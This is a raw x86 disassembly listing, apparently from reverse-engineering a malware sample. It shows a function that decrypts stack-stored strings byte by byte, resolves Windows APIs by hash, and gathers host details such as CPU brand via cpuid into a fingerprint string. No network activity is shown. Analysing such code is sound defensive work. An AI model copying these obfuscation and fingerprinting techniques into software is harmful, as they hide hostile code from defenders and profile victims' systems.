movzx eax, word [esi + 0x1b0]
xor ecx, ecx
test ax, ax
setns cl
jmp dword [ecx*4 + 0x4532ec]
jmp 0x431c01
mov byte [edi], 0x2b
inc edi
movzx eax, word [esi + 0x1b0]
lea ecx, [esi + 0x24]
cwde
push 0xa
push 7
push ecx
push eax
call fcn.00435e40
add esp, 0x10
movzx ecx, byte [eax]
test cl, cl
je 0x431c2d
inc eax
mov edx, edi
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x431c20
jmp 0x431c2f
mov edx, edi
mov edi, edx
mov byte [edx], 0
mov dword [esi + 0x520], 0x264a586a
mov dword [esi + 0x524], 0xa1a1a1a
mov dword [esi + 0x528], 0x35521f00
mov dword [esi + 0x52c], 0x4b1d0317
mov word [esi + 0x530], 0x7b54
mov dword [esi + 0x532], 0
mov word [esi + 0x536], 0
mov dword [esi + 0x4f0], 0
mov eax, dword [esi + 0x4f0]
cmp eax, 0x17
ja 0x431ccb
nop
nop
nop
mov eax, dword [esi + 0x4f0]
movzx eax, byte [esi + eax + 0x520]
push dword [esi + 0x4f0]
push eax
call fcn.0043b910
add esp, 8
mov ecx, dword [esi + 0x4f0]
mov byte [esi + ecx + 0x520], al
inc dword [esi + 0x4f0]
mov eax, dword [esi + 0x4f0]
cmp eax, 0x18
jb 0x431c90
movzx eax, byte [esi + 0x520]
test al, al
je 0x431ced
lea ecx, [esi + 0x521]
mov edx, edi
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x431ce0
jmp 0x431cef
mov edx, edi
mov byte [edx], 0
movzx eax, byte [esi + 0x1b2]
test al, al
je 0x431d1b
lea ecx, [esi + 0x1b3]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x431d10
mov dword [esi + 8], edx
mov byte [edx], 0
mov eax, dword [esi + 0x198]
test eax, eax
je 0x431d34
push eax
call fcn.0040cb70
add esp, 4
call fcn.0043ee30
movzx eax, al
jmp dword [eax*4 + 0x4532f4]
mov dword [esi + 0x520], 0x8482fcfa
mov word [esi + 0x524], 0x13f7
mov dword [esi + 0x526], 0
mov byte [esi + 0x52a], 0
mov dword [esi + 0x188], 0
mov eax, dword [esi + 0x188]
cmp eax, 0xa
ja 0x431e3b
mov eax, dword [esi + 0x188]
movzx eax, byte [esi + eax + 0x520]
push dword [esi + 0x188]
push eax
call fcn.0043b9e0
add esp, 8
mov ecx, dword [esi + 0x188]
mov byte [esi + ecx + 0x520], al
inc dword [esi + 0x188]
mov eax, dword [esi + 0x188]
cmp eax, 0xb
jb 0x431d80
jmp 0x431e3b
mov dword [esi + 0x520], 0xd6191d18
mov byte [esi + 0x524], 0xb0
mov dword [esi + 0x525], 0
mov word [esi + 0x529], 0
mov dword [esi + 0x188], 0
mov eax, dword [esi + 0x188]
cmp eax, 0xa
ja 0x431e3b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x188]
movzx eax, byte [esi + eax + 0x520]
push dword [esi + 0x188]
push eax
call fcn.0043b9a0
add esp, 8
mov ecx, dword [esi + 0x188]
mov byte [esi + ecx + 0x520], al
inc dword [esi + 0x188]
mov eax, dword [esi + 0x188]
cmp eax, 0xb
jb 0x431e00
lea edi, [esi + 0x520]
mov dword [esi + 0x188], 0x1a363cde
mov dword [esi + 0x18c], 0x72687860
mov dword [esi + 0x190], 0x19727c6c
mov dword [esi + 0x194], 0xdd3c
mov dword [esi + 0x744], 0
mov eax, dword [esi + 0x744]
cmp eax, 0xf
ja 0x431ebb
nop
nop
mov eax, dword [esi + 0x744]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x744]
push eax
call fcn.0043b960
add esp, 8
mov ecx, dword [esi + 0x744]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x744]
mov eax, dword [esi + 0x744]
cmp eax, 0x10
jb 0x431e80
movzx eax, byte [esi + 0x188]
test al, al
je 0x431edd
lea ecx, [esi + 0x189]
mov edx, dword [esi + 8]
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x431ed0
jmp 0x431ee0
mov edx, dword [esi + 8]
mov byte [edx], 0
movzx eax, byte [edi]
test al, al
je 0x431efb
inc edi
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x431ef0
mov edi, edx
mov byte [edx], 0
mov byte [esi + 0x4e0], 0
mov dword [esi + 0x170], 0x10
push 0xa031abd0
push dword [0x456b28]
call fcn.00448c90
add esp, 8
lea ecx, [esi + 0x170]
lea edx, [esi + 0x4e0]
push ecx
push edx
call eax
mov dword [esi + 0x188], 0x98767c5e
mov dword [esi + 0x18c], 0xaea2a0a7
mov dword [esi + 0x190], 0x99a0bcac
mov dword [esi + 0x194], 0x5d7c
mov byte [esi + 0x198], 0
mov dword [esi + 0x520], 0
mov eax, dword [esi + 0x520]
cmp eax, 0x10
ja 0x431fbb
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x520]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x520]
push eax
call fcn.0043ba30
add esp, 8
mov ecx, dword [esi + 0x520]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x520]
mov eax, dword [esi + 0x520]
cmp eax, 0x11
jb 0x431f80
movzx eax, byte [esi + 0x188]
test al, al
je 0x431fdb
lea ecx, [esi + 0x189]
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x431fd0
mov byte [edi], 0
movzx eax, byte [esi + 0x4e0]
test al, al
je 0x431ffb
lea ecx, [esi + 0x4e1]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x431ff0
mov dword [esi + 8], edi
mov byte [edi], 0
mov dword [esi + 0x744], 0
mov dword [esi + 0x748], 0
mov edi, dword [0x45581c]
mov dword [esi + 0x188], 0x178a19f9
mov dword [esi + 0x18c], 0x13f3159e
mov dword [esi + 0x190], 0xf971180
mov dword [esi + 0x194], 0xbc40dc3
mov dword [esi + 0x198], 0x79a09da
mov dword [esi + 0x19c], 0x3960590
mov dword [esi + 0x1a0], 0x100
mov dword [esi + 0x520], 0
mov eax, dword [esi + 0x520]
cmp eax, 0x1b
ja 0x4320bb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x520]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x520]
push eax
call fcn.0043bab0
add esp, 8
mov ecx, dword [esi + 0x520]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x520]
mov eax, dword [esi + 0x520]
cmp eax, 0x1c
jb 0x432080
push 0x800
push 0
lea ebx, [esi + 0x188]
push ebx
call edi
lea ecx, [esi + 0x744]
push eax
call fcn.00444af0
movzx eax, al
jmp dword [eax*4 + 0x4532fc]
jmp 0x4321ed
mov byte [esi + 0x188], 0
mov dword [esi + 0x944], 0x101
push 0x4de9976
push dword [esi + 0x744]
call fcn.00448c90
add esp, 8
lea ecx, [esi + 0x944]
push ecx
push ebx
call eax
mov dword [esi + 0x520], 0x724a582a
mov dword [esi + 0x524], 0x5398849d
mov word [esi + 0x528], 0x334c
mov dword [esi + 0x52a], 0
mov word [esi + 0x52e], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0xf
ja 0x43218c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x520]
push dword [esi + 0x5c]
push eax
call fcn.0043bb00
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x520], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x10
jb 0x432160
movzx eax, byte [esi + 0x520]
test al, al
je 0x4321ad
lea ecx, [esi + 0x521]
mov edx, dword [esi + 8]
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4321a0
jmp 0x4321b0
mov edx, dword [esi + 8]
mov byte [edx], 0
movzx eax, byte [esi + 0x188]
test al, al
je 0x4321db
lea ecx, [esi + 0x189]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4321d0
mov dword [esi + 8], edx
mov byte [edx], 0
push dword [esi + 0x744]
call dword [0x455920]
push 0x52d6fd7
push dword [0x456b28]
call fcn.00448c90
add esp, 8
mov ebx, eax
mov byte [esi + 0x520], 0
mov dword [esi + 0x16c], 0x200
lea eax, [esi + 0x16c]
lea ecx, [esi + 0x520]
push eax
push ecx
push 6
call ebx
mov dword [esi + 0x188], 0x3d1a28fa
mov dword [esi + 0x18c], 0x62596c69
mov dword [esi + 0x190], 0xf1123d6e
mov word [esi + 0x194], 0
mov dword [esi + 0x744], 0
mov eax, dword [esi + 0x744]
cmp eax, 0xd
ja 0x4322ab
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x744]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x744]
push eax
call fcn.0043bb40
add esp, 8
mov ecx, dword [esi + 0x744]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x744]
mov eax, dword [esi + 0x744]
cmp eax, 0xe
jb 0x432270
movzx eax, byte [esi + 0x188]
test al, al
je 0x4322cd
lea ecx, [esi + 0x189]
mov edx, dword [esi + 8]
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4322c0
jmp 0x4322d0
mov edx, dword [esi + 8]
mov byte [edx], 0
movzx eax, byte [esi + 0x520]
test al, al
je 0x4322fb
lea ecx, [esi + 0x521]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4322f0
mov edi, edx
mov byte [edx], 0
mov byte [esi + 0x744], 0
mov dword [esi + 0x168], 0x200
lea eax, [esi + 0x168]
push eax
lea eax, [esi + 0x744]
push eax
push 5
call ebx
mov dword [esi + 0x188], 0xaf968c6e
mov dword [esi + 0x18c], 0xc1fefac7
mov dword [esi + 0x190], 0x89f3c4d1
mov word [esi + 0x194], 0x4dac
mov dword [esi + 0x196], 0
mov byte [esi + 0x19a], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0x12
ja 0x43239c
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043bb90
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x13
jb 0x432370
movzx eax, byte [esi + 0x188]
test al, al
je 0x4323bd
lea ecx, [esi + 0x189]
mov edx, edi
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4323b0
jmp 0x4323bf
mov edx, edi
mov byte [edx], 0
movzx eax, byte [esi + 0x744]
test al, al
je 0x4323eb
lea ecx, [esi + 0x745]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4323e0
mov edi, edx
mov byte [edx], 0
mov byte [esi + 0x4d0], 0
mov dword [esi + 0x164], 0x10
lea eax, [esi + 0x164]
lea ecx, [esi + 0x4d0]
push eax
push ecx
push 4
call ebx
mov dword [esi + 0x188], 0x9feee0c6
mov dword [esi + 0x18c], 0x9e90a7b7
mov dword [esi + 0x190], 0xf9ec8285
mov byte [esi + 0x194], 0xd8
mov word [esi + 0x195], 0
mov byte [esi + 0x197], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0xf
ja 0x43248c
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043bbe0
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x10
jb 0x432460
movzx eax, byte [esi + 0x188]
test al, al
je 0x4324ad
lea ecx, [esi + 0x189]
mov edx, edi
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4324a0
jmp 0x4324af
mov edx, edi
mov byte [edx], 0
movzx eax, byte [esi + 0x4d0]
test al, al
je 0x4324db
lea ecx, [esi + 0x4d1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4324d0
mov edi, edx
mov byte [edx], 0
mov word [esi + 0x944], 0
push 0xfc327aac
push dword [0x456b28]
call fcn.00448c90
add esp, 8
lea ebx, [esi + 0x944]
push 0x56
push ebx
call eax
mov dword [esi + 0x188], 0x53beb496
mov dword [esi + 0x18c], 0x56496f7d
mov dword [esi + 0x190], 0x99434a41
mov word [esi + 0x194], 0xa584
mov dword [esi + 0x196], 0
mov word [esi + 0x19a], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0x13
ja 0x43257c
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043bc60
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x14
jb 0x432550
movzx eax, byte [esi + 0x188]
test al, al
je 0x43259d
lea ecx, [esi + 0x189]
mov edx, edi
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432590
jmp 0x43259f
mov edx, edi
mov byte [edx], 0
lea eax, [edx + 0x56]
mov dword [esi + 0x14], eax
xor ecx, ecx
mov edi, edx
mov dword [esi + 8], edx
jmp 0x4325db
mov byte [edi], bl
mov eax, 1
add ecx, eax
mov ebx, dword [esi + 0xc]
add ebx, 2
lea edi, [edx + ecx]
cmp ecx, 0x55
jae 0x432657
mov dword [esi + 0xc], ebx
movzx ebx, word [ebx]
test bx, bx
je 0x432657
cmp bx, 0x7f
jbe 0x4325c0
mov edx, edi
not edx
add edx, dword [esi + 0x14]
movzx eax, bx
cmp edx, 2
jb 0x432620
cmp eax, 0x7ff
ja 0x432620
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [edi], al
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
mov eax, 2
mov edx, dword [esi + 8]
jmp 0x4325c7
mov dword [esi + 0x18], eax
xor eax, eax
cmp edx, 3
mov edx, dword [esi + 8]
jb 0x4325c7
mov eax, dword [esi + 0x18]
shr eax, 0xc
or al, 0xe0
mov byte [edi], al
mov eax, dword [esi + 0x18]
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [edi + 1], al
and bl, 0x3f
or bl, 0x80
mov byte [edi + 2], bl
mov eax, 3
jmp 0x4325c7
mov byte [edi], 0
mov eax, edi
xor eax, edx
mov ebx, edx
not ebx
and ebx, edi
add ebx, ebx
sub ebx, eax
mov dword [esi + 0x188], 0x6e0a782a
mov dword [esi + 0x18c], 0xd41bbba
mov dword [esi + 0x190], 0xcac43c56
mov word [esi + 0x194], 0x9c5
mov byte [esi + 0x196], 0x56
mov dword [esi + 0x197], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0x12
ja 0x4326dc
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043bcd0
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x13
jb 0x4326b0
mov edi, dword [esi + 8]
add edi, ebx
movzx eax, byte [esi + 0x188]
test al, al
je 0x43270b
lea ecx, [esi + 0x189]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432700
mov byte [edi], 0
call fcn.004360d0
mov edx, edi
mov ebx, eax
xor eax, eax
test ebx, ebx
setne al
mov dword [esi + 8], ebx
jmp dword [eax*4 + 0x453304]
mov dword [esi + 0x188], 0x59294c4a
mov dword [esi + 0x18c], 0xef4f60a
mov byte [esi + 0x190], 0x64
mov dword [esi + 0x191], 0
mov dword [esi + 0x194], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0xf
ja 0x43279c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043be50
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x10
jb 0x432770
movzx eax, byte [esi + 0x188]
test al, al
je 0x4329cd
lea ecx, [esi + 0x189]
mov edx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4327c0
jmp 0x4329cf
mov ebx, dword [ebx]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x453324]
mov dword [edx], 0x202d090a
add edx, 4
mov eax, dword [ebx + 8]
movzx ecx, byte [eax]
test cl, cl
je 0x43280b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x432800
mov byte [edx], 0
xor eax, eax
cmp byte [ebx + 4], 3
setb al
jmp dword [eax*4 + 0x45330c]
mov byte [edx], 0x20
inc edx
movzx eax, byte [ebx + 4]
xor ecx, ecx
test al, al
sete cl
jmp dword [ecx*4 + 0x453314]
xor ecx, ecx
cmp al, 1
sete cl
jmp dword [ecx*4 + 0x45331c]
mov dword [esi + 0x188], 0x4c4c4e47
mov dword [esi + 0x18c], 0x6767434f
mov dword [esi + 0x190], 0xa17d
mov edi, edx
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0xb
ja case.0x42f160.64
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043be00
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0xc
jb 0x432880
jmp case.0x42f160.64
mov edi, edx
mov dword [esi + 0x188], 0x8d8c869b
mov dword [esi + 0x18c], 0x2d89
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 7
ja case.0x42f160.64
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043bd50
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 8
jb 0x4328f0
jmp case.0x42f160.64
mov edi, edx
mov dword [esi + 0x188], 0x9a888a99
mov byte [esi + 0x18c], 0x38
mov dword [esi + 0x18d], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 8
ja case.0x42f160.64
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043bdc0
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 9
jb 0x432950
nop
nop
nop
nop
mov ecx, dword [esi + 0x10]
movzx eax, byte [ecx]
test al, al
mov edx, edi
je 0x43299b
inc ecx
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432990
mov byte [edx], 0
mov ebx, dword [ebx]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x453324]
mov edi, edx
jmp dword [0x45332c]
mov ebx, dword [esi + 8]
mov ecx, ebx
call fcn.004376c0
push ebx
call fcn.0040cb70
add esp, 4
jmp 0x4329d4
jmp 0x4329d4
mov edx, edi
mov edi, edx
mov byte [edx], 0
mov dword [esi + 0x188], 0x3f165c7e
mov dword [esi + 0x18c], 0x353e3ccf
mov dword [esi + 0x190], 0x7110
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0xb
ja 0x432a3c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043be90
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0xc
jb 0x432a10
movzx eax, byte [esi + 0x188]
test al, al
je 0x432a5b
lea ecx, [esi + 0x189]
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432a50
mov byte [edi], 0
movzx eax, byte [0x4557c0]
test al, al
je 0x432a81
xor ecx, ecx
nop
nop
nop
nop
nop
mov byte [edi + ecx], al
movzx eax, byte [ecx + 0x4557c1]
inc ecx
test al, al
jne 0x432a70
add edi, ecx
mov ebx, edi
mov byte [edi], 0
mov dword [esi + 0x13c], 0
mov dword [esi + 0x138], 0
push 0xfd7a6173
push dword [0x456b28]
call fcn.00448c90
add esp, 8
lea ecx, [esi + 0x138]
push ecx
call eax
mov eax, dword [esi + 0x138]
mov ecx, dword [esi + 0x13c]
shld ecx, eax, 0x16
lea eax, [esi + 0x721]
push 0xa
push 0xb
push eax
push ecx
call fcn.00435c10
add esp, 0x10
mov edi, eax
mov word [esi + 0x5c], 0xb3a5
mov byte [esi + 0x5e], 0x72
mov dword [esi + 0x5f], 0
mov dword [esi + 0x188], 0
mov eax, dword [esi + 0x188]
cmp eax, 6
ja 0x432b45
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x188]
movzx eax, byte [esi + eax + 0x5c]
push dword [esi + 0x188]
push eax
call fcn.0043bf20
add esp, 8
mov ecx, dword [esi + 0x188]
mov byte [esi + ecx + 0x5c], al
inc dword [esi + 0x188]
mov eax, dword [esi + 0x188]
cmp eax, 7
jb 0x432b10
mov dword [esi + 0x188], 0x836e6046
mov dword [esi + 0x18c], 0x80729c93
mov dword [esi + 0x190], 0x63b1adbf
mov word [esi + 0x194], 0x5b78
mov dword [esi + 0x196], 0
mov dword [esi + 0x24], 0
mov eax, dword [esi + 0x24]
cmp eax, 0x11
ja 0x432bbc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x24]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x24]
push eax
call fcn.0043bee0
add esp, 8
mov ecx, dword [esi + 0x24]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x24]
mov eax, dword [esi + 0x24]
cmp eax, 0x12
jb 0x432b90
movzx eax, byte [esi + 0x188]
test al, al
je 0x432bdb
lea ecx, [esi + 0x189]
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432bd0
mov byte [ebx], 0
movzx eax, byte [edi]
test al, al
je 0x432bfb
inc edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x432bf0
mov byte [ebx], 0
movzx eax, byte [esi + 0x5c]
test al, al
je 0x432c1b
lea ecx, [esi + 0x5d]
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432c10
xor eax, eax
xor ecx, ecx
mov edi, ebx
cpuid
mov dword [esi + 0x178], ebx
mov dword [esi + 0x17c], edx
mov ebx, edi
mov byte [edi], 0
mov dword [esi + 0x180], ecx
mov byte [esi + 0x184], 0
mov dword [esi + 0x188], 0x3052244a
mov dword [esi + 0x18c], 0x14e001c
mov dword [esi + 0x190], 0xfcf6fff5
mov dword [esi + 0x194], 0x67462ff6
mov word [esi + 0x198], 0
mov byte [esi + 0x19a], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0x12
ja 0x432cbc
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043bf90
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x13
jb 0x432c90
movzx eax, byte [esi + 0x188]
test al, al
je 0x432cdd
lea ecx, [esi + 0x189]
mov edx, ebx
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432cd0
jmp 0x432cdf
mov edx, ebx
mov byte [edx], 0
movzx eax, byte [esi + 0x178]
test al, al
je 0x432d0b
lea ecx, [esi + 0x179]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432d00
mov dword [esi + 8], edx
mov byte [edx], 0
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ecx
mov dword [esi + 0x30], edx
mov eax, 0x80000003
mov ecx, 0
cpuid
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], ecx
mov dword [esi + 0x40], edx
mov eax, 0x80000004
mov ecx, 0
cpuid
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], ebx
mov dword [esi + 0x4c], ecx
mov dword [esi + 0x50], edx
lea eax, [esi + 0x520]
lea ebx, [esi + 0x4f0]
lea edx, [esi + 0x24]
mov edi, ebx
mov ecx, 0xc
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edx, [esi + 0x54]
mov edi, eax
xor ecx, ecx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov ecx, eax
dec ecx
xor edx, edx
cmp byte [eax - 1], 0x20
sete dl
jmp dword [edx*4 + 0x453334]
mov byte [ecx], 0
xor eax, eax
cmp byte [ecx - 1], 0x20
lea ecx, [ecx - 1]
sete al
jmp dword [eax*4 + 0x453334]
xor eax, eax
cmp byte [ebx], 0x20
sete al
jmp dword [eax*4 + 0x45333c]
inc ebx
xor eax, eax
cmp byte [ebx], 0x20
sete al
jmp dword [eax*4 + 0x45333c]
mov dword [esi + 0x188], 0x2ccad8ea
mov dword [esi + 0x18c], 0x3fce3438
mov dword [esi + 0x190], 0xcf19000b
mov word [esi + 0x194], 0xf7d0
mov dword [esi + 0x196], 0
mov byte [esi + 0x19a], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0x12
ja 0x432e5c
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043bfe0
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x13
jb 0x432e30
movzx eax, byte [esi + 0x188]
test al, al
je 0x432e7d
lea ecx, [esi + 0x189]
mov edx, dword [esi + 8]
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x432e70
jmp 0x432e80
mov edx, dword [esi + 8]
mov byte [edx], 0
movzx eax, byte [ebx]
test al, al
je 0x432e9c
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ebx + 1]
inc ebx
test al, al
jne 0x432e90
mov dword [esi + 8], edx
mov byte [edx], 0
mov dword [esi + 0x148], 0xfcfdfeff
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 3
ja 0x432eec
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x148]
push dword [esi + 0x5c]
push eax
call fcn.0043c040
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x148], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 4
jb 0x432ec0
mov eax, dword [esi + 0x148]
mov ecx, dword [0x456b34]
test ecx, ecx
je case.default.0x432f4b
xor edx, edx
mov edi, dword [0x456b38]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xc85f7986
je 0x432f20
inc edx
cmp ecx, edx
jne 0x432f10
